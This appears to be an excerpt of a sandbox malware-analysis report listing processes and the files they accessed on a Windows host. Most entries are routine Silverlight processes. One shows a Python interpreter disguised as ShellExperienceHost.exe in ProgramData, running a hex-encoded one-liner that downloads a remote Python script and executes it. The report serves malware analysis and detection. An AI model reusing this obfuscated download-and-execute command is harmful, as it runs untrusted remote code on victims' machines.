        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.NI.DLL
        
        3972
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.WINDOWS.RUNTIMEHOST.DLL
        
        Time lapse
        
        49.593889
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.RUNTIMEHOST.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.RUNTIMEHOST.NI.DLL
        
        3932
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.WINDOWS.BROWSER.DLL
        
        Time lapse
        
        49.718689
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.BROWSER.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.WEB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.WEB.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.BROWSER.NI.DLL
        
        3268
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SILVERLIGHT.CONFIGURATION.EXE" -ENABLEMU
        
        Time lapse
        
        141.914852
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\F0E543E3CE57499DFE
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\MSIMG32.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SILVERLIGHT.CONFIGURATION.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\WUAPI.DLL
        C:\WINDOWS\SYSWOW64\CABINET.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\WINDOWSUPDATE.LOG
        C:\WINDOWS\SYSWOW64\WUPS.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSWOW64\TZRES.DLL
        C:\WINDOWS\SYSWOW64\EN-US\TZRES.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\SILVERLIGHT\MSSL.LCK
  - 2760
    - Image path
      - C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SHELLEXPERIENCEHOST.EXE -C "EXEC(B''.FROMHEX('696D706F72742075726C6C69622E726571756573743B657865632875726C6C69622E726571756573742E75726C6F70656E2875726C6C69622E726571756573742E526571756573742827687474703A2F2F666C617368646F776E6C6F61647365727665722E6F73732D616363656C65726174652E616C6979756E63732E636F6D2F72322F626967322E70792729292E7265616428292E6465636F6465282929').DECODE())" A A
    - Time lapse
      - 130.948034
    - Files Accessed
      - C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\VCRUNTIME140.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\UCRTBASE.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-PROCESS-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-CONIO-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37._PTH
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37.ZIP
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\KERNEL32.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\DISTUTILS-PRECEDENCE.PTH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32.PTH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWIN32_BOOTSTRAP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWIN32_BOOTSTRAP.CPYTHON-37.PYC.6716752
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_HASHLIB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON3.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIBCRYPTO-1_1-X64.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SOCKET.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SELECT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SSL.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIBSSL-1_1-X64.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_BZ2.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_LZMA.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\UNICODEDATA.PYD
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\RASADHLP.DLL
        C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50098528
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\CLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\CLIENT.CPYTHON-37.PYC.50096720
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50099896
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\CLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\CLIENT.CPYTHON-37.PYC.50171168
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_QUEUE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\__PYCACHE__\SIX.CPYTHON-37.PYC.50478320
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50100960
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50101264
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.50101720
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50018704
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME\__PYCACHE__\__INIT__.CPYTHON-37.PYC.40922080
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SIX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\__PYCACHE__\SIX.CPYTHON-37.PYC.44822576
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\_VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\_VERSION.CPYTHON-37.PYC.47952224
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONNECTIONPOOL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\CONNECTIONPOOL.CPYTHON-37.PYC.47952376
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONNECTION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\CONNECTION.CPYTHON-37.PYC.47952984
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC.47953440
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\CONNECTION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\CONNECTION.CPYTHON-37.PYC.47953592
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50020144
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_APPENGINE_ENVIRON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__PYCACHE__\_APPENGINE_ENVIRON.CPYTHON-37.PYC.48014200
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\WAIT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\WAIT.CPYTHON-37.PYC.47954048
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\REQUEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\REQUEST.CPYTHON-37.PYC.47954200
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\RESPONSE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\RESPONSE.CPYTHON-37.PYC.47954504
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\RETRY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\RETRY.CPYTHON-37.PYC.47954960
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\SSL_.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\SSL_.CPYTHON-37.PYC.47955264
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\URL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\URL.CPYTHON-37.PYC.47955568
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\SSLTRANSPORT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\SSLTRANSPORT.CPYTHON-37.PYC.50217648
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\TIMEOUT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\TIMEOUT.CPYTHON-37.PYC.48169616
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\PROXY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\PROXY.CPYTHON-37.PYC.48170072
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\_COLLECTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\_COLLECTIONS.CPYTHON-37.PYC.48170224
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\REQUEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\REQUEST.CPYTHON-37.PYC.44807776
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\FILEPOST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\FILEPOST.CPYTHON-37.PYC.48170680
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\FIELDS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\FIELDS.CPYTHON-37.PYC.48335008
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\RESPONSE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\RESPONSE.CPYTHON-37.PYC.48170984
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\QUEUE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\QUEUE.CPYTHON-37.PYC.48171440
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\POOLMANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\POOLMANAGER.CPYTHON-37.PYC.48171592
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\__INIT__.CPYTHON-37.PYC.48171896
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\UNIVERSALDETECTOR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\UNIVERSALDETECTOR.CPYTHON-37.PYC.50217168
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARSETGROUPPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CHARSETGROUPPROBER.CPYTHON-37.PYC.50219408
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ENUMS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\ENUMS.CPYTHON-37.PYC.45681808
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARSETPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CHARSETPROBER.CPYTHON-37.PYC.48172352
